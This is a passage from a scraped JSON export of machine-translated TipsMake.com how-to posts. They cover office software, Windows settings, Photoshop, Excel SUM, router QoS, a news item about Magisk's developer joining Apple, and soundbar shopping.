Other options Enter PowerPoint presentation into Keynote   To get started, open a PowerPoint presentation in Keynote. Apple software supports both the new .pptx format and the old .ppt. Some warnings may appear but very rarely.\nReplace fonts not in Keynote The most common problem that users encounter is that there is no suitable font when converting. As a Microsoft product, PowerPoint uses Microsoft fonts by default. But these fonts are not available in Apple software, so users should find some alternatives.\nSometimes users may have to do a strange thing: Replace a font with a font of the same name. Clearly, Helvetica used in PowerPoint is not the same as the Helvetica version of Keynote.\n  If all you are doing is presenting, it is not necessary to change the font. If you plan to edit the presentation, you will need to choose an alternative font.\nOther problems may occur Although incompatible fonts are the most common problem, they are not the only problem users may encounter. For example, the graph may have problems importing PowerPoint files into Keynote. In the worst case scenario, users may need to completely replace the chart with a new chart.\nThere are many other problems that users may encounter, depending on the number of PowerPoint features to use. See a list of compatible and incompatible things between PowerPoint and Keynote here.\nCheck the presentation   Once you've made all the necessary changes, the next step will be to review the presentation. In this way, users can find any incompatible features or other issues (if any). If you find something incorrect, correct them.\nSave the presentation as a Keynote file If you can project the presentation without problems, it's time to save the file. After saving the presentation as a Keynote file, the conversion process will complete. To make sure everything goes smoothly, you can close the file, then open it again. It would be better to capture all issues as soon as possible, instead of discovering while giving presentations.\nOther options If you encounter unresolved problems, installing PowerPoint on a Mac may help. In this way, users can troubleshoot problems in the original version of the presentation before converting to Keynote format. This may not be ideal, but if you've signed up for Office 365, things can get easier.\nIn the worst or untimely case, switching to Keynote may not be a wise choice. If you have a PowerPoint file but no software to open it, there is a solution to this problem. Just like with Microsoft Word files, users can open .pptx or .ppt files in PowerPoint's web version. This may not be the preferred option, but it can save presentations when needed.\nGood luck!\nSee more:\nHow to use Keynote Remote to control remote presentations How to transfer Keynote to PowerPoint on iPhone and iPad Fix 6 common errors on PowerPoint slides ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmp6ivlae9sLXNrWSspJmZsrR506hkpJ2po7y1sYyopWalkZg%3D\n","link":"/post/how-to-convert-powerpoint-slides-to-keynote-on-mac/","section":"post","tags":null,"title":"How to convert PowerPoint slides to Keynote on Mac"},{"body":"Google Slides is a great, easy way to present. This is especially true if you do not have access to other presentation programs such as Microsoft PowerPoint.\nOne trick you can do in Google Slides is to add a custom gradient, fill it with the background or the background of the presentation. Here's how to create and use custom gradients in Google Slides.\nInstructions for applying custom gradients in Google Slides Step 1: Open the document Step 2: Learn the Background tool Step 3: Set a custom gradient Step 4: Learn the Custom Gradient tool Step 5: Change the previous Gradient Stop Step 6: Add a Gradient Stop Step 7: Adjust static stop points without moving it Step 8: Some final finishing steps Step 9: Check the work Step 1: Open the document   The first thing you need to do is open the Google Slides document. For this tutorial, TipsMake.com will open the file that started for another tutorial: How to create a presentation in Google Slides.\nTo add a gradient or monochrome, click the thumbnail in your left preview window that you want to change. If it is highlighted in yellow, it means it has been activated.\nNext, go to the top of the workspace and click Background.\nNote : When you hover over it, the content may display as 'Change Background'. Here's how Google Slides, tell you what this button does in detail.\nStep 2: Learn the Background tool   When you click Background, the Background window will appear.\nNext to Image, you will see a button with the content Choose image. By clicking this button, you can add an image to the slide background. Next to Color, you'll discover two types of background colors: Solid and Gradient. Solid is how you add a basic color. By clicking on one of these color swatches, you can add it to the background. If you want to add the same image or color to each slide in the presentation, click Add to theme . Google Slides will apply that image to every slide with a suitable background.     If you click on the Gradient option , you will see a different color set. These color patterns have built-in options similar to the Solid menu , but the difference is that they are gradients.  The first two rows contain a gray scale gradient. Below that is your color gradient.\nAt the bottom, you will see Custom. This option allows you to create custom gradients and is the tool that we will work most in this article.\nStep 3: Set a custom gradient   To set a custom gradient, click on the color swatch you want to include. In this case, the example will use beautiful and gentle yellow.\n  After selecting the color you want, click Custom. This will take you to the Custom Gradient settings .\nStep 4: Learn the Custom Gradient tool   In Custom Gradient settings , you will see a variety of different options. You'll also see a Preview window that directly shows you how your gradient will look before you officially apply it to the slide.\nAt the top of the installation are the Type and Center drop-down menus .\nType allows you to select the type of gradient you want to apply to the background. Center allows you to change the position of gradients and how colors appear on the page. Below these two drop-down menus, you will see Gradient Stops. This section allows you to add, remove stops and change their colors in gradients. In addition, there is a gradient stop slider below, where you can adjust the balance of each individual color relative to each other.\nAt the bottom, you will see the option to Cancel . You can also accept changes by clicking OK.\nStep 5: Change the previous Gradient Stop   It is important to note that you must always have two color stops in your gradient. They are located along the right and left. You cannot get rid of these stops, but you can change their colors.\nSuppose you want to change the outside color of this gradient into pink bubblegum. To do this, make sure that the corresponding stop point seen in the illustration below is highlighted. You can see it highlighted by the light blue color around.\nNext, go to the Gradient Stops color circle . Click it. Then select a color swatch.\n  For example there is no bubblegum color to add to this gradient, but we can create a color by clicking on the same color.\nAfter selecting the color, scroll down and click Custom.\n  \nWhen you click Custom, you will be taken to the color selection screen. Here, you can choose any color you want. You can also adjust the transparency and brightness of the selected color.\nAfter obtaining the color you want to select, click OK. You can also cancel these changes and keep the old color by clicking Cancel.\nStep 6: Add a Gradient Stop   As mentioned, you will need at least two color stops to create a gradient. However, you can certainly add more, especially if you want to make your gradient complex.\nTo add a stop, click the Add button . Google Slides will automatically create a new stop in the middle of your gradient bar. It will take color in the center (in this case, light pink).\n  To change the color of this new stop point, again make sure that the stop gradient point is activated.\nThen, go to the drop-down menu and select the color you want. You can use pre-made color swatches or custom colors.\n  For this tutorial, we will choose a light blue color. Unlike the right and left stop points, the stop point in the middle is not locked in place. You can move it back and forth on the slider to get the exact color you want.\nIn this case, we want more blue and gold, but less pink. To achieve this, move the blue stop point towards the pink.\nIf you don't like this new stop gradient point, make sure it works, then click Remove. Google Slides will remove both stops and colors.\nStep 7: Adjust static stop points without moving it   Because left and right stop points cannot be removed, this also means that you cannot adjust the amount of colors they create. This can be frustrating, especially if you want more colors than the other colors.\nFortunately, there is a quick solution to this.\nFor example, to expand the yellow stop gradient point range, click on it to enable it. Then click on Add.\nThis will create a yellow color stop right next to it. Then you can move this new stop on your gradient bar to adjust the yellow output.\nAn easy way to memorize any stop points you can move and stop points thanks to their overall shape. The circle is movable, while the square will remain in place.\nStep 8: Some final finishing steps   After completing the color correction, you can go to Type and Center to adjust the gradient direction. If you are not satisfied with your Radial gradient, you can change it to Linear via the Type section .\nIf you want to change the center of the gradient, you can change its position through the Center section.\nFor this gradient, we will keep the Radial, but change the direction of the Center to Top left. This makes it look similar to a Linear gradient .\nWhen you're done adjusting the gradient, click OK.\nStep 9: Check the work   After you click OK, Google Slides will exit the Gradient Editor and bring you back to the slideshow. Everything is complete! Your new gradient is complete.\nIf you only want gradients on this page, no further action is required.\nIf you want to apply this gradient to all slides in the presentation, click Background\u0026gt; Add to theme . This will apply the new gradient to all the pages in the slideshow with the previous matching background.\nThis is just a small way that you can make your presentation look unique. When you start, you can try additional settings, to see what kind of gradients you can create.\nYou can design a main slide with a gradient and apply it on all slides and presentations. This is just one of the time-saving tips you should know before giving presentations to Google Slides.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapZ1lpaiybq%2FUrKuopV2cv6KwyJ6lratdnrtus86onqWdXai5qrDErA%3D%3D\n","link":"/post/how-to-create-and-use-custom-gradients-in-google-slides/","section":"post","tags":null,"title":"How to create and use custom gradients in Google Slides"},{"body":"Adorable Home, a life simulation game on the phone, is suitable for girls, especially those who love to keep cats. In the game, you and your partner will beautify your house with furniture, accessories and decorate the cats in the house.\nYou will do the same things in real life with your cat like cutting nails, bathing them, feeding them .\nHard work as above will get you love points. Use this love point to buy household items or open gift boxes to get other pets. In addition, you can unlock other areas in the house when playing such as gardens, unlocking this area will give you more pets.\nAfter taking care of your pet, you will have to wait a while longer before you can do it again. You can temporarily exit the game and wait until the time is up, then take care of your cats. To be able to play Adorable Home more comfortably you can download and install this game on your computer according to the instructions below.\nInstructions for installing and playing Adorable Home on the computer Step 1: First you need an Android emulator on your computer, you can use BlueStack, MEmu, Nox Player, LDPlayer . Start up your emulator and choose Google Play Store or CHPlay.\n  In CHPlay, if you see Adorable Home displayed in the Cat Games section below the picture, click to download, if not, click the search box and type Adorable Home.\n  Click on the results found as shown in the picture\u0026gt; then click Install .\n  Wait for Adorable Home to download and install, you can already play it. On the Mobile version you manipulate with your finger, then on this Android simulator you manipulate with the mouse.\n  Because the game is lightweight, any emulator will play smoothly. You only need to use the mouse to play or attach shortcuts to the icons in the game to play.\n  Although you do not need to be \"always\" in the game and Adorable Home is not a heavy game that can use up your battery. But if you play on a computer, the playing time will be more comfortable.\n  So you can play Adorable Home on the computer already. One thing you need to note is that the data you play on the computer will only be saved on the Android emulator on the computer and not on the phone because Adorable Home has not allowed users to log in to the game to save the data. Play like any other game.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqcn6euo7jEZp%2BopZVivK952Kisq2WTpLqxwdOeqQ%3D%3D\n","link":"/post/how-to-download-adorable-home-on-your-computer/","section":"post","tags":null,"title":"How to download Adorable Home on your computer"},{"body":"This is a big minus point, but basically, you can still make the taskbar bigger or smaller with a few tweaks to the registry. Find out below.\nEdit registry To resize the Taskbar on Windows 11, you can manually edit the Windows Registry or download a ZIP hack file and do it with just one click. Proceed as follows.\n( Warning : Registry Editor is a tool that has a powerful influence on the operation of the operating system. Abuse of Registry Editor can make your system less stable or even inoperable. , it's another simple hack and if you follow the instructions correctly, there won't be any problems.If you haven't used Registry Editor before, make sure to learn how to use the tool thoroughly. you should also back up the Registry (and important data on the machine) before making any changes. )\nTo start making changes manually, first open the Registry Editor. Click the Start button, enter the keyword 'regedit' and click the 'Registry Editor' icon in the corresponding returned results.\n  When the Registry Editor application opens, navigate to the key below using the sidebar menu or paste it in the address line near the top of the window:\nHKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced\nOnce you're there, right-click ' Advanced ' in the sidebar menu and select New \u0026gt; DWORD (32-bit) Value .\n  A new entry will be added to the list on the rightmost pane of the Registry Editor window . Type or paste the name TaskbarSi .\n  Double click on ' Taskbarsi ' and the ' Edit ' window will pop up. In the ' Value Data ' field, enter 0, 1 or 2. These numbers correspond to the Taskbar size values: ' 0 ' means smallest, ' 1 ' means average (default) and ' 2 ' there is the largest. When you're done, click ' OK '.\n  Next, close Registry Editor and restart your Windows 11 PC. After the reboot, you will see that the taskbar is now a different size!\n  If you change your mind, edit HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced/TaskbarSi again in Registry Editor, enter the new value (0, 1 or 2), then restart the PC. To revert to the default size, enter ' 1 ' for the TaskbarSi value.\nUsing the Registry hack file If you don't want to edit the registry manually, you can download the hack file as a ZIP file. In this ZIP file you will find three files that can be used to resize the Windows 11 Taskbar. Download the Windows 11 Taskbar sizing hack file at:\nhttps://www.howtogeek.com/wp-content/uploads/2021/10/win11_taskbar_size_registry_hacks.zip After downloading the file, extract it to any location on your system and you will have three files:\nwin11_taskbar_small.reg : Make the taskbar smaller than default. win11_taskbar_medium.reg : Make the taskbar like medium size by default. Win11_taskbar_large.reg : Make the taskbar larger than default. In general, you should not trust registry files you find on the internet without skipping the initial check. You can verify that the registry you just downloaded are not malicious by opening them with Notepad (right-click the file, select ' Show More Options ', then click ' Edit ') and view their contents.\nWhen ready, double click on the .REG file that you want to use (corresponding to the desired taskbar size) and you will see a warning stating that adding information to the registry could harm the system. your. Click ' Yes ​​' to continue.\n  Next, you will see another pop-up showing the changes that have been made to the Registry. Click ' OK '.\nRestart your PC and you should see the adjusted taskbar size.\nIf you want your taskbar back to its normal (default) size, run ' win11_taskbar_medium.reg ', then restart your PC.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLa7sYytn55lpJbArK7Aq2Sopl2stq%2BwzrCqZmlh\n","link":"/post/how-to-resize-the-taskbar-on-windows-11/","section":"post","tags":null,"title":"How to resize the Taskbar on Windows 11"},{"body":"Sometimes, you see an interesting design created in Photoshop and wonder what tool is used to create it. Then you find out that the design was created using Photoshop's Custom Shape Tool.\nWhat do you think about custom shapes? The most unique shape designs you have seen are like stock art. But this powerful tool can provide much more and its flexibility is often underutilized. Today's article is a guide for beginners to use Custom Shape Tool in Photoshop.\nUsing Custom Shape Tool creates a custom shape in Adobe Photoshop Step 1: Set up Photoshop file Step 2: Learn about Custom Shape Tool Shape adjustment tools  Step 3: Draw the shape you want Step 4: Adjust the shape Step 5: Adjust anchor points Step 6: Adjust Stroke Step 7: Make the final adjustments Step 1: Set up Photoshop file   The first thing you need to do is set up your document in Photoshop. For the purpose of this tutorial, simply open the program and select Default Photoshop Size .\n  Next, add some basic colors to the background, so you can see how the colors interact with them (we'll talk more about this in the next section).\nFor this image, we will add a simple orange gradient. Then, make the gradient darker by applying a Layer style.\nIf you don't know how to create a gradient, see TipsMake.com 's detailed tutorial on how to create a custom gradient in Photoshop.\nStep 2: Learn about Custom Shape Tool   Next, go to the Custom Shape Tool. The Custom Shape Tool can be found in the left toolbar.\nYou can recognize the Custom Shape Tool through an icon that is almost like a puddle. Click this icon to make sure the Custom Shape Tool is working.\n  After the Custom Shape Tool is activated, you will see the toolbar along the top part of the workspace change to match the parameters.\nThe most important part when using Custom Shape Tool is to select the shape. To select a shape from the Photoshop library, go to the Custom Shape Picker menu.\n  When you click on the drop-down menu, you will see all available options. These shapes include from frames and signs, to natural elements, bubbles to contain text, hearts and squares.\nToday's tutorial will choose one of the flower pictures.\nShape adjustment tools   After selecting the desired image, you need to select the color for both Fill and Stroke.\nFill is the color that will appear inside the shape. Stroke is the color of the outline line around the shape.\nThese two options can be found in the upper left corner of the workspace. By clicking on the respective color swatches, you will see a drop-down menu appear.\nFrom there, you can choose the color for the Fill or Stroke. You may also not choose any color. If you want to leave the Fill or Stroke blank, select the white box with a red dash line.\n  Also, if you don't like any of these colors, you can also choose a custom color from the Color Picker. The Color Picker is found on the right side of the drop-down menu.\nWould you like to use custom colors at the same time? This is how to create a color palette in Photoshop.\n  The last setting you need to keep in mind is the options Width and Type for the stroke.\nThese settings will be covered later in the tutorial, but now just note that they are placed next to the Fill and Stroke options. You can also adjust the width and stroke type, before shaping or after you finish.\nStep 3: Draw the shape you want   Now that you are familiar with the Custom Shape Tool, it's time to draw a 'flower'.\nFirst, create a new layer for the shape. This is very important, because it allows you to easily edit your shape and use the blending mode to adjust the colors later.\nNext, make sure the Custom Shape Tool still works. Then click and drag the cursor on the page to draw a shape. You can see that its outline is blue.\nDon't worry too much about the exact location or size of this shape. You can fix them later.\n  When the shape is about the size you want, release the cursor. The lines will automatically be colored in blue (the color you set for the Fill option initially).\nYou will also see small markers placed at important points, along the blue border around the flower. You can use these markers to adjust your shape.\nStep 4: Adjust the shape   To adjust the shape, go to the left toolbar and click on the Direct Selection Tool. The symbol of the Direct Selection Tool looks like a small white arrow.\n  The Direct Selection Tool allows you to adjust individual anchor points along a path. After activating the tool, you will see all the blue markings turn white. These are anchor points.\nTo adjust the anchor point, click on one of the white dots, it will turn green again so you know it has been selected.\n  Next, click and drag this anchor point to a new position to adjust the shape.\nSuppose, if you want to make petals smaller, press and drag the point on the top of the petal down, towards the center. Petals will be divided into two.\n  When the anchor point is where you want it, release the mouse button. The flower will automatically adjust to this new path.\nDo the same with other anchor points to create identical petals. Keep adjusting until you feel satisfied.\nStep 5: Adjust anchor points   When clicking on an anchor point, you may notice that two small handles on its sides.\nThese are your drag control points. When you adjust them, they change the shape of the anchor point, instead of moving it from point A to B.\nTo adjust these handles, click on the anchor point you want to adjust. Then click on the drag operation control point you want to adjust. It will turn green.\nWhen you click on this dragging control point, hold and move the cursor. You may notice that the curve of the shape associated with that particular anchor point will also change. All other anchor points will remain the same.\nIf you don't like this curve after editing, just go to Edit\u0026gt; Undo Drag Control Point . Photoshop will revert the changes you have made.\nStep 6: Adjust Stroke   Now, you have finished adjusting the shape of the flower. Next is the time to refine the Stroke.\nMake sure the shape is selected. Next, go to the toolbar at the top of the workspace and click the drop-down Stroke Size menu .\nBy dragging the slider back and forth, you can make your stroke line look slimmer or thicker.\n  You can also change the Stroke type by clicking on the drop-down menu next to it.\nStep 7: Make the final adjustments   At this point, we have adjusted the shape, color, width and type of Stroke. It's time to see if this custom shape makes you happy.\nIf you're not happy with the color part, you can adjust it further by using Blending Mode in the Layers panel .\n  \nYou can also move the position of the shape on the page. To do this, go back to the left toolbar. On the Direct Selection Tool , click the small white arrow in the corner to access the drop-down menu. Select the black arrow instead.\nThis black arrow is the Path Selection Tool . When the tool is active, click on the shape so that the blue lines appear. Then click and drag the shape to the new position on the page until you are satisfied with it.\nThere are many other, smaller improvements that you can make with Photoshop's Custom Shape Tool. However, knowing these basic steps, you will be able to adjust even the most boring shapes in Adobe and turn them into something great.\nDo you want to know more about the Layers panel and how to use it to change design colors? See TipsMake.com's guide explaining how to use Photoshop Blending Mode.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqkwdKtpqZlo52usbGMraaopF2eu26tw6iZnmWgnby1u9Khpqk%3D\n","link":"/post/how-to-use-custom-shape-tool-in-adobe-photoshop/","section":"post","tags":null,"title":"How to use Custom Shape Tool in Adobe Photoshop"},{"body":"SUM is a popular and very useful Excel function, and is also a basic arithmetic function. As its name suggests, the SUM function is used to calculate totals in Excel. And the parameters can be single parameters or ranges of cells. In this article, TipsMake.com will guide you to use the SUM function to calculate the sum in Excel, the common errors when calculating SUM by sum and how to fix it.\nThese are the main contents of this article:\nSUM function definition in Excel Structure of SUM function Examples of SUM functions Use other operations in the SUM calculation Use SUM function with other functions Use SUM functions across multiple pages Common problems and solutions SUM function definition in Excel Excel defines SUM as a calculation of \"total all numbers in the range\". This means that the SUM function is responsible for calculating the sum of the numbers and parameters in the cells and range of cells.\nStructure of SUM function SUM has two structures so it can be written in two ways:\n= SUM (num1, num2, . num_n). Here \"num1, num2, . num_n\" denotes the numbers we will calculate. = SUM (CellRange1, CellRange2, . CellRange_n). Inside: \u0026nbsp; \"CellRange1, CellRange2, . CellRange_n\" are numeric columns. Notes in the calculation SUM:\nThe SUM function can calculate decimals and fractions. In the calculation SUM: = SUM (num1, num2, . num_n) , if you enter the parameter \"num\" not a number, the SUM function will display the #Name error ? Lỗi . And similarly, in the calculation = SUM (CellRange1, CellRange2, . CellRange_n) contains non-numeric content, the SUM function will ignore that value. The SUM function is not a dynamic function form. Therefore, if you use SUM calculation on a range of cells and then filter out some values, the output of the SUM calculation will not change according to the nearest value. Therefore, it is better to use the Subtotal function for this case. Examples of SUM functions   In the table above, there are four types of SUM functions and below I will explain each specific example:\n1. Example 1, the sum of integers: = SUM (10,11,19) means adding the numbers 10,11,19 and 40 as the result 40.\n2. Example 2, the sum of the decimal numbers: = SUM (10.2,9.6,2,4) , simply add the sum of 10.2 + 9.6 + 2.4 and give the result 25.8.\n3. Example 3, the sum of the fractional numbers: = SUM (4 / 2.8 / 2) . The calculation adds the numbers 4/2 and 8/2 and the result is 6.\n4. Example 4, the SUM function fails because it contains non-numeric content and that is also the reason for the calculation to give #Name? Lỗi .\n  5. Use the second form of SUM [= SUM (B2: B10)] to sum the numbers in the sequence (B2: B10) instead of the parameters and produce the result 60.\nShortening of calculation SUM:\nInstead of writing calculations in a simple way, you can use the following:\n  First, select the number range and press \" Alt + \" and the result will be displayed in the next box.\nUse other operations in the SUM calculation Other operations such as (+, -, / and *) can be used in SUM. For example, = SUM (2 * 4) and the SUM function will be given as 8. Similarly with the remaining calculations.\nIn fact, the SUM function will handle all numeric sets including numbers or calculations. Therefore, the first thing it will evaluate the result of patch operation if there is no difference will result.\nUse SUM function with other functions 1. It is possible to use the SUM function together with other functions. Here's an example of a monthly average:\n  = SUM (A2: L2) / COUNTA (A2: L2)\n2. SUM of A2: L2 divided by the number of months in the year in A2: L2 does not include an empty cell.\nUse SUM function on multiple sheets 1. Normally, to calculate the sum of cells with the same position in the pages, you will have to click on that box on each page and use the \"+\" between the values ​​but it will take time and calculations. will fail.\n= Sheet1! A1 + Sheet2! A1 + Sheet3! A1\nTherefore, this problem becomes easier when using the 3D SUM function:\n  = SUM (Sheet1: Sheet3! A1)\nThe SUM function summed cells A1 in all pages 1 through 3.\nThis is very useful for calculating single pages of months (January to December).\n  = SUM (January: December! A2) has added all A2 cells on each page from January to December\nThis 3D method is similarly used in the functions AVERAGE, MIN, MAX, .\n= AVERAGE (Sheet1: Sheet3! A1) = MIN (Sheet1: Sheet3! A1) = MAX (Sheet1: Sheet3! A1) Common issues and solutions: Case 1: The SUM function displays #####.\nCheck the column width, because ##### notifies enough space to display results.\nCase 2: The SUM function displays the word and does not produce the result. Or show only numbers but not decimal numbers.\nCheck the format of the column. Go to Format and select Number to select the format you want. If after formatting, the text display does not change, you should press F2 and enter.\nCase 3: The SUM function is not updated.\nYou must make sure that Calculation is set to Automatic . First go to Formula , select the Calculation option. Then press F9 to automatically update the page.\nCase 4: Some values ​​are not used in SUM function.\nOnly the value or range containing the new number is placed in the function. Empty cells, logic functions, or text will be removed.\nCase 5: Function that outputs #NAME? Lỗi.\nThere was a spelling error here. For example, = sume (A1: A10) instead of = SUM (A1: A10).\nSee more:\nHow to combine Vlookup function with If function in Excel How to use the Power function in Excel How to use Hlookup function on Excel How to use Excel's VALUE function How to use Vlookup function in Excel ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqq6lXZvCr6%2FToqanZaSkeqSty5yspZmkmnq1u9Oao6xlmaN6psTCnqM%3D\n","link":"/post/how-to-use-the-sum-function-to-calculate-totals-in-excel/","section":"post","tags":null,"title":"How to use the SUM function to calculate totals in Excel"},{"body":"This is a very basic operation when conducting text editing in Gmail, even more important when we write cover letters, CV, important emails to customers . In the article below, TipsMake. com will show you some basic steps to align in Gmail.\nHow to register a Gmail account How to have beautiful, professional signatures in Gmail Steps to proceed: After logging in to your Gmail account, compose a new email by clicking the Compose button:\n  Like this example, for example:\n  Here, you notice the toolbar at the bottom, click the alignment icon button and Gmail will give you some options such as left, center and right alignment:\n  Aligns the left:\n  Align center:\n  Right alignment:\n  Here are some basic operations to edit and align with Gmail.Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecCloKCmXam1pnnMmqmgoZ6oeqq6jKCkmqGc\n","link":"/post/instructions-align-the-margins-in-gmail/","section":"post","tags":null,"title":"Instructions align the margins in Gmail"},{"body":"When turning off Windows 10 computer, some users prefer to use the physical power button instead of right-clicking on the Start button. So what to do to customize the power button on the computer? In this article, we will show you how to set the power button to Shutdown, Sleep, Hibernate or turn off the display every time you press.\nAfter 20 years, this is the first time CMD.EXE has been upgraded to a new Windows 10 Can I install Windows 10 from my Android phone, have you tried it? Summary of several ways to open virtual keyboard on Windows XP / 7/8 / 8.1 / 10 Change the function of the power button in Windows 10 First, go to Settings\u0026gt; System\u0026gt; Power \u0026amp; sleep , scroll down and click to select Additional power settings .\n  This will open the familiar Control Panel window. From here, click the link Choose what the power buttons do .\n  Then use the drop-down menu below When I press the power button , select the task you want the power button to perform when pressed. Usually, the options will include: Do nothing, Sleep, Shut down, or Turn off the display.\n  Note that different types of systems will have different options. For example, a laptop or Surface Pro will have additional options for the device when plugged in or running. Also, not every system supports Windows 10 Hibernation, so if you don't see this option the system doesn't support it.\nOne of Microsoft's biggest mistakes when releasing Windows 8 is removing the Start button. This makes it difficult for users to turn off the PC. Fortunately, however, the company brought the Start button back to Windows 10 and provided many ways to simply turn off the computer from within the operating system or use the power button on the device.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabpajBsLnIs6Cnn12ptaZ5z6iunqpdl8K1wM6nZKKmXay2r7DOsKpmaWA%3D\n","link":"/post/instructions-for-customizing-the-power-button-in-windows-10/","section":"post","tags":null,"title":"Instructions for customizing the power button in Windows 10"},{"body":"TipsMake.com - In the following article, we will introduce and guide you to learn about the concept of QoS - Quality of Service on router devices.\nWhat is QoS?   QoS - Quality of Service , is a way to control network traffic priority, this feature works on all different levels of the system, but in this test, we will focus into the router device used in the home or personal model. More specifically, QoS will clearly show its effect in areas where bottleneck is often occurring (often referred to as bottlenecks), while deciding which traffic is more important than the rest, based on on the rules that users set up related to IP address, MAC, active services .\nWhere do bottlenecks usually occur? The main mechanism of QoS is usually applied when bottleneck happens at a time or somewhere in the system, and the main factor here is that the parameters you set are bandwidth related:\n  Assume that the settings of QoS are initialized beyond the bandwidth you receive from the provider. What happens if the amount of traffic on your router is not prioritized because the system 'thinks' that this bandwidth traffic is perfectly reasonable. In the meantime, if you have used the ISP's limit, then they are the ones who decide what is allowed and not allowed to continue to operate.\nBesides, if setting the bandwidth of QoS is lower than the standard of ISP, it means that you are creating 'artificial' bottleneck, and we can control, monitor and monitor them through router.\nSome points to note to ensure stability in the system, including the setting of Uplink and Downlink :\n  Let's start by checking the average speed of our transmission line from ISP. To do this, you can use some of the available online support services like Speakeasy Speed ​​Test and SpeedTest:\n   As recommended by experts and many experienced users, you should set up QoS with about 85% of the value obtained from the test to ensure the system works effectively. After determining the Uplink and Downlink speeds, you should gradually increase by about 1-2% each time. For some special cases, the user can increase up to 95% but the system still ensures performance, not affected by any side effects. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZJynnpiyscCMqJ1mqZ%2BoerC6jKumrqyVp8A%3D\n","link":"/post/learn-about-the-concept-of-qos-on-routers/","section":"post","tags":null,"title":"Learn about the concept of QoS on routers"},{"body":"John Wu, the father and developer of Magisk - the most popular root tool today, has chosen a company that has nothing to do with what people know about him, Apple is the next place to develop a career. . The 23-year-old programmer has officially announced that he will work at Apple in the next 4 months as an intern on his Twitter page.\nTo add to the paradox, instead of iPhone John Wu chose an Android phone to upload a tweet announcing work at Apple.\n  John Wu.\n  John Wu shared that he will work at Apple as an intern on his Twitter page.\n  He chose an Android smartphone to post a Tweet.\nJohn shared, he is still unsure about his work at Apple, but he will probably join the Siri virtual assistant development department.\nIn 2016, 20-year-old John Wu and a major in Computer Science at the University of Michigan (USA) created Magisk to replace SuperSU. Magisk can take root access of Android device but still keep all system files. Root with Magisk, the system runs more stable than SuperSU. In addition, Magisk also allows users to update the software and overcome the \"anti-root\" barrier of some applications.\nncG1vNJzZmismaXArq3KnmWcp51kvaK%2BwJ2msWWdlrSqv8qsZJ%2BZpJ2ys3nAp5urp5mZerO7zq1kraefoXqru8inqmaZoKW5pg%3D%3D\n","link":"/post/paradox-magisk-s-father-android-root-tool-joins-apple/","section":"post","tags":null,"title":"Paradox, Magisk's father - Android root tool joins Apple"},{"body":"Photos are an indispensable medium in life today. But sometimes we encounter a lot of problems related to photos, one of which we must mention is the image resolution. Image resolution will determine the quality of your images. In this article, Software Tips will introduce you to tips for increasing image quality.\n  1. Use an online tool Homepage link: https://letsenhance.io\nOne of the most effective online tools for improving image quality is Letsanhance, which integrates artificial intelligence so image processing is much more effective than other competitors. .\nStep 1: You choose Here to upload images to the Web to use.\n  Step 2:\u0026nbsp;  Here you will increase the resolution, so select Upscaling -\u0026gt; Photos  and Art . At the expansion card below you choose the resolution you want to increase, available milestones X2, X4, X8, X16 and Custom (customized).\nAfter the option is complete, click Start Processing .\n  Step 3: Because this is a free Web, you must be logged in to download images.\n  Step 4: After logging in you will see your image has just increased the resolution here. The left corner shows the original resolution and the new resolution increases.\n  Step 5: You press the Arrow to download to your computer.\n  Check the resolution on the computer, the resolution has increased or not?\n  Actual inspection, the image quality is sharper or not?\n  2. Use Photoshop Photoshop is one of the effective tools for editing images on the computer. Photoshop also has certain features that help users to interfere with image quality.\nStep 1: Select Image -\u0026gt; Image Size . (Ctrl + Ctrl + I) .\n  Step 2: Then you choose Resample and choose Bicubic (Smooth Gradients) .\n  And this is the result when using Photoshop to interfere with the image fluid.\n  In this article, Software Tips have introduced you tips to increase image quality Online and Offline on the computer. These are just ways of \"fighting\" in emergencies, so you take the time to create a good source of high quality photos that will be more effective. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWZo7CzscCsnGahnZa0pnnQrpiloaSu\n","link":"/post/tips-to-increase-image-quality/","section":"post","tags":null,"title":"Tips to increase image quality"},{"body":"JBL is one of America's famous speaker brands. Types of JBL Soundbar speakers are widely appreciated as multi-design models, perfect sound quality. So what is the best product you should buy?\u0026nbsp; You can visit Soundbar Mag for sound bar guides and neutral reviews.\u0026nbsp;\u0026nbsp;\nAdvantages of Speaker JBL Soundbar Soundbar speakers (or loudspeakers) usually include a long speaker bar and a subwoofer. This device can reproduce, simulate audio ranges, serve the needs of listening to music, watching movies, watching football, . Among the current Soundbar loudspeakers, JBL products are most appreciated. thanks to owning many advantages such as:\nCreate realistic, lively sound : JBL Soundbar Speaker can create sound with full timbre, extremely realistic and vivid. Impressive design : JBL loudspeaker possesses a compact, simple design that is no less sophisticated and modern. In addition to saving space, these products will help to enhance the elegance of your space. Smart connectivity : JBL Soundbar Speaker can connect to many peripherals such as USB, memory card, wifi connection, link to touch phones, tablets thanks to wireless bluetooth technology. Diversified models: JBL's products are quite diverse, allowing users to easily select suitable products.   Luxury design of speaker Soundbar JBL\nGood JBL Soundbar speaker products should buy the most today Studio Bar (JBL BARSBLKAS) is JBL's most representative Soundbar speaker. This product is equipped with 4 subwoofer to create Stereo effect, providing perfect surround sound. The top of the speaker consists of control buttons, allowing the user to turn on / off, adjust the volume, etc. The metal speaker membrane is very durable.\nSoundbar Speaker JBL Studio Bar (JBL BARSBLKAS) is able to connect wireless bluetooth to mobile phones. It also has Optical Optical Audio Port, 3.5mm AUX port, USB port, HDMI port that supports bidirectional ARC. Price of Soundbar JBL Studio Bar (JBL BARSBLKAS) at META.vn: VND 3,750,000.\nTechnical specifications\nCapacity: 30W Speaker system: 2.0 Sensitivity: 90dB Size: 614mm x 58mm x 86mm Weight: 1.4kg Warranty 12 